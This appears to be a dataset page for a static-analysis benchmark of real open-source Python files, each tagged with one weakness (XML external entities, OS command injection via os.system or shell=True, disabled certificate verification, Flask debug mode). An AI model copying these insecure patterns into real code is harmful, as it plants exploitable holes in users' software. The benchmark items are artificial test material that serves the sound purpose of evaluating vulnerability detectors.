"""Do a minimal test of all the modules that aren't otherwise tested.""" import warnings warnings.filterwarnings('ignore', r".*posixfile module", DeprecationWarning, 'posixfile$') warnings.filterwarnings("ignore", "the gopherlib module is deprecated", DeprecationWarning, ".*test_sundry") from test.test_support import verbose import BaseHTTPServer import DocXMLRPCServer import CGIHTTPServer import SimpleHTTPServer import SimpleXMLRPCServer import aifc import audiodev import bdb import cgitb import cmd import code import compileall import encodings import formatter import ftplib import getpass import gopherlib import htmlentitydefs import ihooks import imghdr import imputil import keyword import linecache import macurl2path import mailcap import mimify import mutex import nntplib import nturl2path import opcode import os2emxpath import pdb import pipes #import poplib import posixfile import pstats import py_compile import pydoc import rexec import rlcompleter import sched import smtplib import sndhdr import statvfs import stringold import sunau import sunaudio import symbol import tabnanny import telnetlib import timeit import toaiff import token try: import tty # not available on Windows except ImportError: if verbose: print "skipping tty" # Can't test the "user" module -- if the user has a ~/.pythonrc.py, it # can screw up all sorts of things (esp. if it prints!). #import user import webbrowser import xml
2280.py
CWE-611: Improper Restriction of XML External Entity Reference
import xml.etree.ElementTree as ET input = ''' <stuff> <users> <user x="2"> <id>001</id> <name>Chuck</name> </user> <user x="7"> <id>009</id> <name>Brent</name> </user> </users> </stuff>''' stuff = ET.fromstring(input) lst = stuff.findall('users/user') print 'User count:', len(lst) for item in lst: print 'Name', item.find('name').text print 'Id', item.find('id').text print 'Attribute', item.get("x")
2356.py
CWE-611: Improper Restriction of XML External Entity Reference
#!python # Copyright (c) 2000-2006 ActiveState Software Inc. # See the file LICENSE.txt for licensing information. # # USAGE: python run-in-dir.py %1:d <invocation> # # Run the given invocation string in the given directory. # # Examples: # python run-in-dir.py build\debug\Rx python c:\bin\make-rx-module.py if __name__ == '__main__': import sys, os targetDir, invocation = sys.argv[1], " ".join(sys.argv[2:]) print "cd %s" % targetDir os.chdir(targetDir) print invocation retval = os.system(invocation) if not sys.platform.startswith("win"): retval = retval >> 8 sys.exit(retval)
1730.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
import xml.etree.ElementTree as ET import requests def loadRSS(): url = 'https://varanasisoftwarejunction.blogspot.com/rss.xml' resp = requests.get(url) with open('vsjblog.xml', 'wb') as f: f.write(resp.content) def parseXML(xmlfile): tree = ET.parse(xmlfile) root = tree.getroot() return root def main(): # loadRSS() root = parseXML("vsjblog.xml") print("Root", root) print("Children in Root") for child in root: print(child, child.tag, child.attrib) for subchild in child: print("Sub Children in Root") print(subchild, subchild.attrib) print("Cities") for city in root.findall('city'): rank = city.find('rank').text name = city.get('name') print("name: ", name, "rank: ", rank, "items:", city.items(), "text: ", city.text) print("City: ", city) for text in city: print("text; ", text.text) for mytags in text: print("mytags: ", mytags) if __name__ == "__main__": main()
2363.py
CWE-611: Improper Restriction of XML External Entity Reference
""" * ******************************************************* * Copyright (c) VMware, Inc. 2013, 2016. All Rights Reserved. * SPDX-License-Identifier: MIT * ******************************************************* * * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. """ __author__ = 'VMware, Inc.' import ssl import requests def get_unverified_context(): """ Get an unverified ssl context. Used to disable the server certificate verification. @return: unverified ssl context. """ context = None if hasattr(ssl, '_create_unverified_context'): context = ssl._create_unverified_context() return context def get_unverified_session(): """ Get a requests session with cert verification disabled. Also disable the insecure warnings message. Note this is not recommended in production code. @return: a requests session with verification disabled. """ session = requests.session() session.verify = False requests.packages.urllib3.disable_warnings() return session
1099.py
CWE-295: Improper Certificate Validation
from flask import Flask app = Flask(__name__) #! This is the syntax for making a Flask object @app.route('/') # ? This decorator specify the loction of the below function : www.yourdomain.com/ @app.route('/home') def hello(): return "Hello World" # TODO: I have to understand what this is if __name__ == '__main__': app.run(debug=True)
2809.py
CWE-489: Active Debug Code
import requests from subprocess import check_output def get_score(command: str) -> float: """Get pylint score""" output = check_output(command, shell=True).decode("utf-8") start = output.find("Your code has been rated at ") if start == -1: raise ValueError(f'Could not find quality score in "{output.rstrip()}".') start += len("Your code has been rated at ") end = start + output[start:].find("/") score = float(output[start:end]) return score def get_color(score: float) -> str: """Get color for shield""" if score < 6: return "critical" elif score < 8: return "orange" elif score < 9: return "yellow" elif score < 9.5: return "yellowgreen" else: return "brightgreen" def create_link(label: str, score: float) -> str: """Create link using shields.io""" label = label.replace(" ", "_") color = get_color(score) return f"https://img.shields.io/badge/{label}-{score}-{color}" def write_quality_badge(command: str, output_file: str) -> None: """Write badge for code quality""" score = get_score("make lint") link = create_link("code quality", score) with open(output_file, "wb") as output: data = requests.get(link).content output.write(data) def write_version_badge(output_file: str) -> None: """Write badge for version badge""" from pytermgui import __version__ as version link = f"https://img.shields.io/badge/pypi_package-{version}-bright_green" with open(output_file, "wb") as output: data = requests.get(link).content output.write(data) def main() -> None: """Main method""" write_quality_badge("make lint", "assets/badges/quality.svg") write_version_badge("assets/badges/version.svg") if __name__ == "__main__": main()
1407.py
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Dataset Card for "static-analysis-eval"

A dataset of 76 Python programs taken from real Python open source projects (top 1000 on GitHub), where each program is a file that has exactly 1 vulnerability as detected by a particular static analyzer (Semgrep).

Downloads last month
4
Edit dataset card